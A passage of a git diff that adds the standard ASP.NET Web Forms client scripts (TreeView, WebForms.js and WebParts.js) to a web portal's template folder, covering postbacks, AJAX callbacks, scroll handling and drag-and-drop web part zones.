WebForm_RemoveClassName(selectedNode, data.selectedHyperLinkClass); + selectedNode = WebForm_GetParentByTagName(selectedNode, "TD"); + WebForm_RemoveClassName(selectedNode, data.selectedClass); + } + } + WebForm_AppendToClassName(node, data.selectedHyperLinkClass); + node = WebForm_GetParentByTagName(node, "TD"); + WebForm_AppendToClassName(node, data.selectedClass) + } + data.selectedNodeID.value = nodeId; +} +function TreeView_ToggleNode(data, index, node, lineType, children) { + if (!data) { + return; + } + var img = node.childNodes[0]; + var newExpandState; + try { + if (children.style.display == "none") { + children.style.display = "block"; + newExpandState = "e"; + if ((typeof(img) != "undefined") && (img != null)) { + if (lineType == "l") { + img.src = data.images[15]; + } + else if (lineType == "t") { + img.src = data.images[12]; + } + else if (lineType == "-") { + img.src = data.images[18]; + } + else { + img.src = data.images[5]; + } + img.alt = data.collapseToolTip.replace(/\{0\}/, TreeView_GetNodeText(node)); + } + } + else { + children.style.display = "none"; + newExpandState = "c"; + if ((typeof(img) != "undefined") && (img != null)) { + if (lineType == "l") { + img.src = data.images[14]; + } + else if (lineType == "t") { + img.src = data.images[11]; + } + else if (lineType == "-") { + img.src = data.images[17]; + } + else { + img.src = data.images[4]; + } + img.alt = data.expandToolTip.replace(/\{0\}/, TreeView_GetNodeText(node)); + } + } + } + catch(e) {} + data.expandState.value = data.expandState.value.substring(0, index) + newExpandState + data.expandState.value.slice(index + 1); +} +function TreeView_UnhoverNode(node) { + if (!node.hoverClass) { + return; + } + WebForm_RemoveClassName(node, node.hoverClass); + if (__nonMSDOMBrowser) { + node = node.childNodes[node.childNodes.length - 1]; + } + else { + node = node.children[node.children.length - 1]; + } + WebForm_RemoveClassName(node, node.hoverHyperLinkClass); +} diff --git a/templates/www/portal/Scripts/WebForms/WebForms.js b/templates/www/portal/Scripts/WebForms/WebForms.js new file mode 100644 index 0000000..4ef1476 --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/WebForms.js @@ -0,0 +1,567 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/WebForms.js +function WebForm_PostBackOptions(eventTarget, eventArgument, validation, validationGroup, actionUrl, trackFocus, clientSubmit) { + this.eventTarget = eventTarget; + this.eventArgument = eventArgument; + this.validation = validation; + this.validationGroup = validationGroup; + this.actionUrl = actionUrl; + this.trackFocus = trackFocus; + this.clientSubmit = clientSubmit; +} +function WebForm_DoPostBackWithOptions(options) { + var validationResult = true; + if (options.validation) { + if (typeof(Page_ClientValidate) == 'function') { + validationResult = Page_ClientValidate(options.validationGroup); + } + } + if (validationResult) { + if ((typeof(options.actionUrl) != "undefined") && (options.actionUrl != null) && (options.actionUrl.length > 0)) { + theForm.action = options.actionUrl; + } + if (options.trackFocus) { + var lastFocus = theForm.elements["__LASTFOCUS"]; + if ((typeof(lastFocus) != "undefined") && (lastFocus != null)) { + if (typeof(document.activeElement) == "undefined") { + lastFocus.value = options.eventTarget; + } + else { + var active = document.activeElement; + if ((typeof(active) != "undefined") && (active != null)) { + if ((typeof(active.id) != "undefined") && (active.id != null) && (active.id.length > 0)) { + lastFocus.value = active.id; + } + else if (typeof(active.name) != "undefined") { + lastFocus.value = active.name; + } + } + } + } + } + } + if (options.clientSubmit) { + __doPostBack(options.eventTarget, options.eventArgument); + } +} +var __pendingCallbacks = new Array(); +var __synchronousCallBackIndex = -1; +function WebForm_DoCallback(eventTarget, eventArgument, eventCallback, context, errorCallback, useAsync) { + var postData = __theFormPostData + + "__CALLBACKID=" + WebForm_EncodeCallback(eventTarget) + + "&__CALLBACKPARAM=" + WebForm_EncodeCallback(eventArgument); + if (theForm["__EVENTVALIDATION"]) { + postData += "&__EVENTVALIDATION=" + WebForm_EncodeCallback(theForm["__EVENTVALIDATION"].value); + } + var xmlRequest,e; + try { + xmlRequest = new XMLHttpRequest(); + } + catch(e) { + try { + xmlRequest = new ActiveXObject("Microsoft.XMLHTTP"); + } + catch(e) { + } + } + var setRequestHeaderMethodExists = true; + try { + setRequestHeaderMethodExists = (xmlRequest && xmlRequest.setRequestHeader); + } + catch(e) {} + var callback = new Object(); + callback.eventCallback = eventCallback; + callback.context = context; + callback.errorCallback = errorCallback; + callback.async = useAsync; + var callbackIndex = WebForm_FillFirstAvailableSlot(__pendingCallbacks, callback); + if (!useAsync) { + if (__synchronousCallBackIndex != -1) { + __pendingCallbacks[__synchronousCallBackIndex] = null; + } + __synchronousCallBackIndex = callbackIndex; + } + if (setRequestHeaderMethodExists) { + xmlRequest.onreadystatechange = WebForm_CallbackComplete; + callback.xmlRequest = xmlRequest; + // e.g. http: + var action = theForm.action || document.location.pathname, fragmentIndex = action.indexOf('#'); + if (fragmentIndex !== -1) { + action = action.substr(0, fragmentIndex); + } + if (!__nonMSDOMBrowser) { + var queryIndex = action.indexOf('?'); + if (queryIndex !== -1) { + var path = action.substr(0, queryIndex); + if (path.indexOf("%") === -1) { + action = encodeURI(path) + action.substr(queryIndex); + } + } + else if (action.indexOf("%") === -1) { + action = encodeURI(action); + } + } + xmlRequest.open("POST", action, true); + xmlRequest.setRequestHeader("Content-Type", "application/x-www-form-urlencoded; charset=utf-8"); + xmlRequest.send(postData); + return; + } + callback.xmlRequest = new Object(); + var callbackFrameID = "__CALLBACKFRAME" + callbackIndex; + var xmlRequestFrame = document.frames[callbackFrameID]; + if (!xmlRequestFrame) { + xmlRequestFrame = document.createElement("IFRAME"); + xmlRequestFrame.width = "1"; + xmlRequestFrame.height = "1"; + xmlRequestFrame.frameBorder = "0"; + xmlRequestFrame.id = callbackFrameID; + xmlRequestFrame.name = callbackFrameID; + xmlRequestFrame.style.position = "absolute"; + xmlRequestFrame.style.top = "-100px" + xmlRequestFrame.style.left = "-100px"; + try { + if (callBackFrameUrl) { + xmlRequestFrame.src = callBackFrameUrl; + } + } + catch(e) {} + document.body.appendChild(xmlRequestFrame); + } + var interval = window.setInterval(function() { + xmlRequestFrame = document.frames[callbackFrameID]; + if (xmlRequestFrame && xmlRequestFrame.document) { + window.clearInterval(interval); + xmlRequestFrame.document.write(""); + xmlRequestFrame.document.close(); + xmlRequestFrame.document.write('
    '); + xmlRequestFrame.document.close(); + xmlRequestFrame.document.forms[0].action = theForm.action; + var count = __theFormPostCollection.length; + var element; + for (var i = 0; i < count; i++) { + element = __theFormPostCollection[i]; + if (element) { + var fieldElement = xmlRequestFrame.document.createElement("INPUT"); + fieldElement.type = "hidden"; + fieldElement.name = element.name; + fieldElement.value = element.value; + xmlRequestFrame.document.forms[0].appendChild(fieldElement); + } + } + var callbackIdFieldElement = xmlRequestFrame.document.createElement("INPUT"); + callbackIdFieldElement.type = "hidden"; + callbackIdFieldElement.name = "__CALLBACKID"; + callbackIdFieldElement.value = eventTarget; + xmlRequestFrame.document.forms[0].appendChild(callbackIdFieldElement); + var callbackParamFieldElement = xmlRequestFrame.document.createElement("INPUT"); + callbackParamFieldElement.type = "hidden"; + callbackParamFieldElement.name = "__CALLBACKPARAM"; + callbackParamFieldElement.value = eventArgument; + xmlRequestFrame.document.forms[0].appendChild(callbackParamFieldElement); + if (theForm["__EVENTVALIDATION"]) { + var callbackValidationFieldElement = xmlRequestFrame.document.createElement("INPUT"); + callbackValidationFieldElement.type = "hidden"; + callbackValidationFieldElement.name = "__EVENTVALIDATION"; + callbackValidationFieldElement.value = theForm["__EVENTVALIDATION"].value; + xmlRequestFrame.document.forms[0].appendChild(callbackValidationFieldElement); + } + var callbackIndexFieldElement = xmlRequestFrame.document.createElement("INPUT"); + callbackIndexFieldElement.type = "hidden"; + callbackIndexFieldElement.name = "__CALLBACKINDEX"; + callbackIndexFieldElement.value = callbackIndex; + xmlRequestFrame.document.forms[0].appendChild(callbackIndexFieldElement); + xmlRequestFrame.document.forms[0].submit(); + } + }, 10); +} +function WebForm_CallbackComplete() { + for (var i = 0; i < __pendingCallbacks.length; i++) { + callbackObject = __pendingCallbacks[i]; + if (callbackObject && callbackObject.xmlRequest && (callbackObject.xmlRequest.readyState == 4)) { + if (!__pendingCallbacks[i].async) { + __synchronousCallBackIndex = -1; + } + __pendingCallbacks[i] = null; + var callbackFrameID = "__CALLBACKFRAME" + i; + var xmlRequestFrame = document.getElementById(callbackFrameID); + if (xmlRequestFrame) { + xmlRequestFrame.parentNode.removeChild(xmlRequestFrame); + } + WebForm_ExecuteCallback(callbackObject); + } + } +} +function WebForm_ExecuteCallback(callbackObject) { + var response = callbackObject.xmlRequest.responseText; + if (response.charAt(0) == "s") { + if ((typeof(callbackObject.eventCallback) != "undefined") && (callbackObject.eventCallback != null)) { + callbackObject.eventCallback(response.substring(1), callbackObject.context); + } + } + else if (response.charAt(0) == "e") { + if ((typeof(callbackObject.errorCallback) != "undefined") && (callbackObject.errorCallback != null)) { + callbackObject.errorCallback(response.substring(1), callbackObject.context); + } + } + else { + var separatorIndex = response.indexOf("|"); + if (separatorIndex != -1) { + var validationFieldLength = parseInt(response.substring(0, separatorIndex)); + if (!isNaN(validationFieldLength)) { + var validationField = response.substring(separatorIndex + 1, separatorIndex + validationFieldLength + 1); + if (validationField != "") { + var validationFieldElement = theForm["__EVENTVALIDATION"]; + if (!validationFieldElement) { + validationFieldElement = document.createElement("INPUT"); + validationFieldElement.type = "hidden"; + validationFieldElement.name = "__EVENTVALIDATION"; + theForm.appendChild(validationFieldElement); + } + validationFieldElement.value = validationField; + } + if ((typeof(callbackObject.eventCallback) != "undefined") && (callbackObject.eventCallback != null)) { + callbackObject.eventCallback(response.substring(separatorIndex + validationFieldLength + 1), callbackObject.context); + } + } + } + } +} +function WebForm_FillFirstAvailableSlot(array, element) { + var i; + for (i = 0; i < array.length; i++) { + if (!array[i]) break; + } + array[i] = element; + return i; +} +var __nonMSDOMBrowser = (window.navigator.appName.toLowerCase().indexOf('explorer') == -1); +var __theFormPostData = ""; +var __theFormPostCollection = new Array(); +var __callbackTextTypes = /^(text|password|hidden|search|tel|url|email|number|range|color|datetime|date|month|week|time|datetime-local)$/i; +function WebForm_InitCallback() { + var formElements = theForm.elements, + count = formElements.length, + element; + for (var i = 0; i < count; i++) { + element = formElements[i]; + var tagName = element.tagName.toLowerCase(); + if (tagName == "input") { + var type = element.type; + if ((__callbackTextTypes.test(type) || ((type == "checkbox" || type == "radio") && element.checked)) + && (element.id != "__EVENTVALIDATION")) { + WebForm_InitCallbackAddField(element.name, element.value); + } + } + else if (tagName == "select") { + var selectCount = element.options.length; + for (var j = 0; j < selectCount; j++) { + var selectChild = element.options[j]; + if (selectChild.selected == true) { + WebForm_InitCallbackAddField(element.name, element.value); + } + } + } + else if (tagName == "textarea") { + WebForm_InitCallbackAddField(element.name, element.value); + } + } +} +function WebForm_InitCallbackAddField(name, value) { + var nameValue = new Object(); + nameValue.name = name; + nameValue.value = value; + __theFormPostCollection[__theFormPostCollection.length] = nameValue; + __theFormPostData += WebForm_EncodeCallback(name) + "=" + WebForm_EncodeCallback(value) + "&"; +} +function WebForm_EncodeCallback(parameter) { + if (encodeURIComponent) { + return encodeURIComponent(parameter); + } + else { + return escape(parameter); + } +} +var __disabledControlArray = new Array(); +function WebForm_ReEnableControls() { + if (typeof(__enabledControlArray) == 'undefined') { + return false; + } + var disabledIndex = 0; + for (var i = 0; i < __enabledControlArray.length; i++) { + var c; + if (__nonMSDOMBrowser) { + c = document.getElementById(__enabledControlArray[i]); + } + else { + c = document.all[__enabledControlArray[i]]; + } + if ((typeof(c) != "undefined") && (c != null) && (c.disabled == true)) { + c.disabled = false; + __disabledControlArray[disabledIndex++] = c; + } + } + setTimeout("WebForm_ReDisableControls()", 0); + return true; +} +function WebForm_ReDisableControls() { + for (var i = 0; i < __disabledControlArray.length; i++) { + __disabledControlArray[i].disabled = true; + } +} +function WebForm_SimulateClick(element, event) { + var clickEvent; + if (element) { + if (element.click) { + element.click(); + } else { + clickEvent = document.createEvent("MouseEvents"); + clickEvent.initMouseEvent("click", true, true, window, 0, 0, 0, 0, 0, false, false, false, false, 0, null); + if (!element.dispatchEvent(clickEvent)) { + return true; + } + } + event.cancelBubble = true; + if (event.stopPropagation) { + event.stopPropagation(); + } + return false; + } + return true; +} +function WebForm_FireDefaultButton(event, target) { + if (event.keyCode == 13) { + var src = event.srcElement || event.target; + if (src && + ((src.tagName.toLowerCase() == "input") && + (src.type.toLowerCase() == "submit" || src.type.toLowerCase() == "button")) || + ((src.tagName.toLowerCase() == "a") && + (src.href != null) && (src.href != "")) || + (src.tagName.toLowerCase() == "textarea")) { + return true; + } + var defaultButton; + if (__nonMSDOMBrowser) { + defaultButton = document.getElementById(target); + } + else { + defaultButton = document.all[target]; + } + if (defaultButton) { + return WebForm_SimulateClick(defaultButton, event); + } + } + return true; +} +function WebForm_GetScrollX() { + if (__nonMSDOMBrowser) { + return window.pageXOffset; + } + else { + if (document.documentElement && document.documentElement.scrollLeft) { + return document.documentElement.scrollLeft; + } + else if (document.body) { + return document.body.scrollLeft; + } + } + return 0; +} +function WebForm_GetScrollY() { + if (__nonMSDOMBrowser) { + return window.pageYOffset; + } + else { + if (document.documentElement && document.documentElement.scrollTop) { + return document.documentElement.scrollTop; + } + else if (document.body) { + return document.body.scrollTop; + } + } + return 0; +} +function WebForm_SaveScrollPositionSubmit() { + if (__nonMSDOMBrowser) { + theForm.elements['__SCROLLPOSITIONY'].value = window.pageYOffset; + theForm.elements['__SCROLLPOSITIONX'].value = window.pageXOffset; + } + else { + theForm.__SCROLLPOSITIONX.value = WebForm_GetScrollX(); + theForm.__SCROLLPOSITIONY.value = WebForm_GetScrollY(); + } + if ((typeof(this.oldSubmit) != "undefined") && (this.oldSubmit != null)) { + return this.oldSubmit(); + } + return true; +} +function WebForm_SaveScrollPositionOnSubmit() { + theForm.__SCROLLPOSITIONX.value = WebForm_GetScrollX(); + theForm.__SCROLLPOSITIONY.value = WebForm_GetScrollY(); + if ((typeof(this.oldOnSubmit) != "undefined") && (this.oldOnSubmit != null)) { + return this.oldOnSubmit(); + } + return true; +} +function WebForm_RestoreScrollPosition() { + if (__nonMSDOMBrowser) { + window.scrollTo(theForm.elements['__SCROLLPOSITIONX'].value, theForm.elements['__SCROLLPOSITIONY'].value); + } + else { + window.scrollTo(theForm.__SCROLLPOSITIONX.value, theForm.__SCROLLPOSITIONY.value); + } + if ((typeof(theForm.oldOnLoad) != "undefined") && (theForm.oldOnLoad != null)) { + return theForm.oldOnLoad(); + } + return true; +} +function WebForm_TextBoxKeyHandler(event) { + if (event.keyCode == 13) { + var target; + if (__nonMSDOMBrowser) { + target = event.target; + } + else { + target = event.srcElement; + } + if ((typeof(target) != "undefined") && (target != null)) { + if (typeof(target.onchange) != "undefined") { + target.onchange(); + event.cancelBubble = true; + if (event.stopPropagation) event.stopPropagation(); + return false; + } + } + } + return true; +} +function WebForm_TrimString(value) { + return value.replace(/^\s+|\s+$/g, '') +} +function WebForm_AppendToClassName(element, className) { + var currentClassName = ' ' + WebForm_TrimString(element.className) + ' '; + className = WebForm_TrimString(className); + var index = currentClassName.indexOf(' ' + className + ' '); + if (index === -1) { + element.className = (element.className === '') ? className : element.className + ' ' + className; + } +} +function WebForm_RemoveClassName(element, className) { + var currentClassName = ' ' + WebForm_TrimString(element.className) + ' '; + className = WebForm_TrimString(className); + var index = currentClassName.indexOf(' ' + className + ' '); + if (index >= 0) { + element.className = WebForm_TrimString(currentClassName.substring(0, index) + ' ' + + currentClassName.substring(index + className.length + 1, currentClassName.length)); + } +} +function WebForm_GetElementById(elementId) { + if (document.getElementById) { + return document.getElementById(elementId); + } + else if (document.all) { + return document.all[elementId]; + } + else return null; +} +function WebForm_GetElementByTagName(element, tagName) { + var elements = WebForm_GetElementsByTagName(element, tagName); + if (elements && elements.length > 0) { + return elements[0]; + } + else return null; +} +function WebForm_GetElementsByTagName(element, tagName) { + if (element && tagName) { + if (element.getElementsByTagName) { + return element.getElementsByTagName(tagName); + } + if (element.all && element.all.tags) { + return element.all.tags(tagName); + } + } + return null; +} +function WebForm_GetElementDir(element) { + if (element) { + if (element.dir) { + return element.dir; + } + return WebForm_GetElementDir(element.parentNode); + } + return "ltr"; +} +function WebForm_GetElementPosition(element) { + var result = new Object(); + result.x = 0; + result.y = 0; + result.width = 0; + result.height = 0; + if (element.offsetParent) { + result.x = element.offsetLeft; + result.y = element.offsetTop; + var parent = element.offsetParent; + while (parent) { + result.x += parent.offsetLeft; + result.y += parent.offsetTop; + var parentTagName = parent.tagName.toLowerCase(); + if (parentTagName != "table" && + parentTagName != "body" && + parentTagName != "html" && + parentTagName != "div" && + parent.clientTop && + parent.clientLeft) { + result.x += parent.clientLeft; + result.y += parent.clientTop; + } + parent = parent.offsetParent; + } + } + else if (element.left && element.top) { + result.x = element.left; + result.y = element.top; + } + else { + if (element.x) { + result.x = element.x; + } + if (element.y) { + result.y = element.y; + } + } + if (element.offsetWidth && element.offsetHeight) { + result.width = element.offsetWidth; + result.height = element.offsetHeight; + } + else if (element.style && element.style.pixelWidth && element.style.pixelHeight) { + result.width = element.style.pixelWidth; + result.height = element.style.pixelHeight; + } + return result; +} +function WebForm_GetParentByTagName(element, tagName) { + var parent = element.parentNode; + var upperTagName = tagName.toUpperCase(); + while (parent && (parent.tagName.toUpperCase() != upperTagName)) { + parent = parent.parentNode ? parent.parentNode : parent.parentElement; + } + return parent; +} +function WebForm_SetElementHeight(element, height) { + if (element && element.style) { + element.style.height = height + "px"; + } +} +function WebForm_SetElementWidth(element, width) { + if (element && element.style) { + element.style.width = width + "px"; + } +} +function WebForm_SetElementX(element, x) { + if (element && element.style) { + element.style.left = x + "px"; + } +} +function WebForm_SetElementY(element, y) { + if (element && element.style) { + element.style.top = y + "px"; + } +} \ No newline at end of file diff --git a/templates/www/portal/Scripts/WebForms/WebParts.js b/templates/www/portal/Scripts/WebForms/WebParts.js new file mode 100644 index 0000000..b5e8b3d --- /dev/null +++ b/templates/www/portal/Scripts/WebForms/WebParts.js @@ -0,0 +1,647 @@ +//CdnPath=http://ajax.aspnetcdn.com/ajax/4.5.1/1/WebParts.js +var __wpm = null; +function Point(x, y) { + this.x = x; + this.y = y; +} +function __wpTranslateOffset(x, y, offsetElement, relativeToElement, includeScroll) { + while ((typeof(offsetElement) != "undefined") && (offsetElement != null) && (offsetElement != relativeToElement)) { + x += offsetElement.offsetLeft; + y += offsetElement.offsetTop; + var tagName = offsetElement.tagName; + if ((tagName != "TABLE") && (tagName != "BODY")) { + x += offsetElement.clientLeft; + y += offsetElement.clientTop; + } + if (includeScroll && (tagName != "BODY")) { + x -= offsetElement.scrollLeft; + y -= offsetElement.scrollTop; + } + offsetElement = offsetElement.offsetParent; + } + return new Point(x, y); +} +function __wpGetPageEventLocation(event, includeScroll) { + if ((typeof(event) == "undefined") || (event == null)) { + event = window.event; + } + return __wpTranslateOffset(event.offsetX, event.offsetY, event.srcElement, null, includeScroll); +} +function __wpClearSelection() { + document.selection.empty(); +} +function WebPart(webPartElement, webPartTitleElement, zone, zoneIndex, allowZoneChange) { + this.webPartElement = webPartElement; + this.allowZoneChange = allowZoneChange; + this.zone = zone; + this.zoneIndex = zoneIndex; + this.title = ((typeof(webPartTitleElement) != "undefined") && (webPartTitleElement != null)) ? + webPartTitleElement.innerText : ""; + webPartElement.__webPart = this; + if ((typeof(webPartTitleElement) != "undefined") && (webPartTitleElement != null)) { + webPartTitleElement.style.cursor = "move"; + webPartTitleElement.attachEvent("onmousedown", WebPart_OnMouseDown); + webPartElement.attachEvent("ondragstart", WebPart_OnDragStart); + webPartElement.attachEvent("ondrag", WebPart_OnDrag); + webPartElement.attachEvent("ondragend", WebPart_OnDragEnd); + } + this.UpdatePosition = WebPart_UpdatePosition; + this.Dispose = WebPart_Dispose; +} +function WebPart_Dispose() { + this.webPartElement.__webPart = null +} +function WebPart_OnMouseDown() { + var currentEvent = window.event; + var draggedWebPart = WebPart_GetParentWebPartElement(currentEvent.srcElement); + if ((typeof(draggedWebPart) == "undefined") || (draggedWebPart == null)) { + return; + } + document.selection.empty(); + try { + __wpm.draggedWebPart = draggedWebPart; + __wpm.DragDrop(); + } + catch (e) { + __wpm.draggedWebPart = draggedWebPart; + window.setTimeout("__wpm.DragDrop()", 0); + } + currentEvent.returnValue = false; + currentEvent.cancelBubble = true; +} +function WebPart_OnDragStart() { + var currentEvent = window.event; + var webPartElement = currentEvent.srcElement; + if ((typeof(webPartElement.__webPart) == "undefined") || (webPartElement.__webPart == null)) { + currentEvent.returnValue = false; + currentEvent.cancelBubble = true; + return; + } + var dataObject = currentEvent.dataTransfer; + dataObject.effectAllowed = __wpm.InitiateWebPartDragDrop(webPartElement); +} +function WebPart_OnDrag() { + __wpm.ContinueWebPartDragDrop(); +} +function WebPart_OnDragEnd() { + __wpm.CompleteWebPartDragDrop(); +} +function WebPart_GetParentWebPartElement(containedElement) { + var elem = containedElement; + while ((typeof(elem.__webPart) == "undefined") || (elem.__webPart == null)) { + elem = elem.parentElement; + if ((typeof(elem) == "undefined") || (elem == null)) { + break; + } + } + return elem; +} +function WebPart_UpdatePosition() { + var location = __wpTranslateOffset(0, 0, this.webPartElement, null, false); + this.middleX = location.x + this.webPartElement.offsetWidth / 2; + this.middleY = location.y + this.webPartElement.offsetHeight / 2; +} +function Zone(zoneElement, zoneIndex, uniqueID, isVertical, allowLayoutChange, highlightColor) { + var webPartTable = null; + if (zoneElement.rows.length == 1) { + webPartTableContainer = zoneElement.rows[0].cells[0]; + } + else { + webPartTableContainer = zoneElement.rows[1].cells[0]; + } + var i; + for (i = 0; i < webPartTableContainer.childNodes.length; i++) { + var node = webPartTableContainer.childNodes[i]; + if (node.tagName == "TABLE") { + webPartTable = node; + break; + } + } + this.zoneElement = zoneElement; + this.zoneIndex = zoneIndex; + this.webParts = new Array(); + this.uniqueID = uniqueID; + this.isVertical = isVertical; + this.allowLayoutChange = allowLayoutChange; + this.allowDrop = false; + this.webPartTable = webPartTable; + this.highlightColor = highlightColor; + this.savedBorderColor = (webPartTable != null) ? webPartTable.style.borderColor : null; + this.dropCueElements = new Array(); + if (webPartTable != null) { + if (isVertical) { + for (i = 0; i < webPartTable.rows.length; i += 2) { + this.dropCueElements[i / 2] = webPartTable.rows[i].cells[0].childNodes[0]; + } + } + else { + for (i = 0; i < webPartTable.rows[0].cells.length; i += 2) { + this.dropCueElements[i / 2] = webPartTable.rows[0].cells[i].childNodes[0]; + } + } + } + this.AddWebPart = Zone_AddWebPart; + this.GetWebPartIndex = Zone_GetWebPartIndex; + this.ToggleDropCues = Zone_ToggleDropCues; + this.UpdatePosition = Zone_UpdatePosition; + this.Dispose = Zone_Dispose; + webPartTable.__zone = this; + webPartTable.attachEvent("ondragenter", Zone_OnDragEnter); + webPartTable.attachEvent("ondrop", Zone_OnDrop); +} +function Zone_Dispose() { + for (var i = 0; i < this.webParts.length; i++) { + this.webParts[i].Dispose(); + } + this.webPartTable.__zone = null; +} +function Zone_OnDragEnter() { + var handled = __wpm.ProcessWebPartDragEnter(); + var currentEvent = window.event; + if (handled) { + currentEvent.returnValue = false; + currentEvent.cancelBubble = true; + } +} +function Zone_OnDragOver() { + var handled = __wpm.ProcessWebPartDragOver(); + var currentEvent = window.event; + if (handled) { + currentEvent.returnValue = false; + currentEvent.cancelBubble = true; + } +} +function Zone_OnDrop() { + var handled = __wpm.ProcessWebPartDrop(); + var currentEvent = window.event; + if (handled) { + currentEvent.returnValue = false; + currentEvent.cancelBubble = true; + } +} +function Zone_GetParentZoneElement(containedElement) { + var elem = containedElement; + while ((typeof(elem.__zone) == "undefined") || (elem.__zone == null)) { + elem = elem.parentElement; + if ((typeof(elem) == "undefined") || (elem == null)) { + break; + } + } + return elem; +} +function Zone_AddWebPart(webPartElement, webPartTitleElement, allowZoneChange) { + var webPart = null; + var zoneIndex = this.webParts.length; + if (this.allowLayoutChange && __wpm.IsDragDropEnabled()) { + webPart = new WebPart(webPartElement, webPartTitleElement, this, zoneIndex, allowZoneChange); + } + else { + webPart = new WebPart(webPartElement, null, this, zoneIndex, allowZoneChange); + } + this.webParts[zoneIndex] = webPart; + return webPart; +} +function Zone_ToggleDropCues(show, index, ignoreOutline) { + if (ignoreOutline == false) { + this.webPartTable.style.borderColor = (show ? this.highlightColor : this.savedBorderColor); + } + if (index == -1) { + return; + } + var dropCue = this.dropCueElements[index]; + if (dropCue && dropCue.style) { + if (dropCue.style.height == "100%" && !dropCue.webPartZoneHorizontalCueResized) { + var oldParentHeight = dropCue.parentElement.clientHeight; + var realHeight = oldParentHeight - 10; + dropCue.style.height = realHeight + "px"; + var dropCueVerticalBar = dropCue.getElementsByTagName("DIV")[0]; + if (dropCueVerticalBar && dropCueVerticalBar.style) { + dropCueVerticalBar.style.height = dropCue.style.height; + var heightDiff = (dropCue.parentElement.clientHeight - oldParentHeight); + if (heightDiff) { + dropCue.style.height = (realHeight - heightDiff) + "px"; + dropCueVerticalBar.style.height = dropCue.style.height; + } + } + dropCue.webPartZoneHorizontalCueResized = true; + } + dropCue.style.visibility = (show ? "visible" : "hidden"); + } +} +function Zone_GetWebPartIndex(location) { + var x = location.x; + var y = location.y; + if ((x < this.webPartTableLeft) || (x > this.webPartTableRight) || + (y < this.webPartTableTop) || (y > this.webPartTableBottom)) { + return -1; + } + var vertical = this.isVertical; + var webParts = this.webParts; + var webPartsCount = webParts.length; + for (var i = 0; i < webPartsCount; i++) { + var webPart = webParts[i]; + if (vertical) { + if (y < webPart.middleY) { + return i; + } + } + else { + if (x < webPart.middleX) { + return i; + } + } + } + return webPartsCount; +} +function Zone_UpdatePosition() { + var topLeft = __wpTranslateOffset(0, 0, this.webPartTable, null, false); + this.webPartTableLeft = topLeft.x; + this.webPartTableTop = topLeft.y; + this.webPartTableRight = (this.webPartTable != null) ? topLeft.x + this.webPartTable.offsetWidth : topLeft.x; + this.webPartTableBottom = (this.webPartTable != null) ? topLeft.y + this.webPartTable.offsetHeight : topLeft.y; + for (var i = 0; i < this.webParts.length; i++) { + this.webParts[i].UpdatePosition(); + } +} +function WebPartDragState(webPartElement, effect) { + this.webPartElement = webPartElement; + this.dropZoneElement = null; + this.dropIndex = -1; + this.effect = effect; + this.dropped = false; +} +function WebPartMenu(menuLabelElement, menuDropDownElement, menuElement) { + this.menuLabelElement = menuLabelElement; + this.menuDropDownElement = menuDropDownElement; + this.menuElement = menuElement; + this.menuLabelElement.__menu = this; + this.menuLabelElement.attachEvent('onclick', WebPartMenu_OnClick); + this.menuLabelElement.attachEvent('onkeypress', WebPartMenu_OnKeyPress); + this.menuLabelElement.attachEvent('onmouseenter', WebPartMenu_OnMouseEnter); + this.menuLabelElement.attachEvent('onmouseleave', WebPartMenu_OnMouseLeave); + if ((typeof(this.menuDropDownElement) != "undefined") && (this.menuDropDownElement != null)) { + this.menuDropDownElement.__menu = this; + } + this.menuItemStyle = ""; + this.menuItemHoverStyle = ""; + this.popup = null; + this.hoverClassName = ""; + this.hoverColor = ""; + this.oldColor = this.menuLabelElement.style.color; + this.oldTextDecoration = this.menuLabelElement.style.textDecoration; + this.oldClassName = this.menuLabelElement.className; + this.Show = WebPartMenu_Show; + this.Hide = WebPartMenu_Hide; + this.Hover = WebPartMenu_Hover; + this.Unhover = WebPartMenu_Unhover; + this.Dispose = WebPartMenu_Dispose; + var menu = this; + this.disposeDelegate = function() { menu.Dispose(); }; + window.attachEvent('onunload', this.disposeDelegate); +} +function WebPartMenu_Dispose() { + this.menuLabelElement.__menu = null; + this.menuDropDownElement.__menu = null; + window.detachEvent('onunload', this.disposeDelegate); +} +function WebPartMenu_Show() { + if ((typeof(__wpm.menu) != "undefined") && (__wpm.menu != null)) { + __wpm.menu.Hide(); + } + var menuHTML = + "" + + this.menuElement.innerHTML + + ""; + var width = 16; + var height = 16; + this.popup = window.createPopup(); + __wpm.menu = this; + var popupDocument = this.popup.document; + popupDocument.write(menuHTML); + this.popup.show(0, 0, width, height); + var popupBody = popupDocument.body; + width = popupBody.scrollWidth; + height = popupBody.scrollHeight; + if (width < this.menuLabelElement.offsetWidth) { + width = this.menuLabelElement.offsetWidth + 16; + } + if (this.menuElement.innerHTML.indexOf("progid:DXImageTransform.Microsoft.Shadow") != -1) { + popupBody.style.paddingRight = "4px"; + } + popupBody.__wpm = __wpm; + popupBody.__wpmDeleteWarning = __wpmDeleteWarning; + popupBody.__wpmCloseProviderWarning = __wpmCloseProviderWarning; + popupBody.popup = this.popup; + this.popup.hide(); + this.popup.show(0, this.menuLabelElement.offsetHeight, width, height, this.menuLabelElement); +} +function WebPartMenu_Hide() { + if (__wpm.menu == this) { + __wpm.menu = null; + if ((typeof(this.popup) != "undefined") && (this.popup != null)) { + this.popup.hide(); + this.popup = null; + } + } +} +function WebPartMenu_Hover() { + if (this.labelHoverClassName != "") { + this.menuLabelElement.className = this.menuLabelElement.className + " " + this.labelHoverClassName; + } + if (this.labelHoverColor != "") { + this.menuLabelElement.style.color = this.labelHoverColor; + } +} +function WebPartMenu_Unhover() { + if (this.labelHoverClassName != "") { + this.menuLabelElement.style.textDecoration = this.oldTextDecoration; + this.menuLabelElement.className = this.oldClassName; + } + if (this.labelHoverColor != "") { + this.menuLabelElement.style.color = this.oldColor; + } +} +function WebPartMenu_OnClick() { + var menu = window.event.srcElement.__menu; + if ((typeof(menu) != "undefined") && (menu != null)) { + window.event.returnValue = false; + window.event.cancelBubble = true; + menu.Show(); + } +} +function WebPartMenu_OnKeyPress() { + if (window.event.keyCode == 13) { + var menu = window.event.srcElement.__menu; + if ((typeof(menu) != "undefined") && (menu != null)) { + window.event.returnValue = false; + window.event.cancelBubble = true; + menu.Show(); + } + } +} +function WebPartMenu_OnMouseEnter() { + var menu = window.event.srcElement.__menu; + if ((typeof(menu) != "undefined") && (menu != null)) { + menu.Hover(); + } +} +function WebPartMenu_OnMouseLeave() { + var menu = window.event.srcElement.__menu; + if ((typeof(menu) != 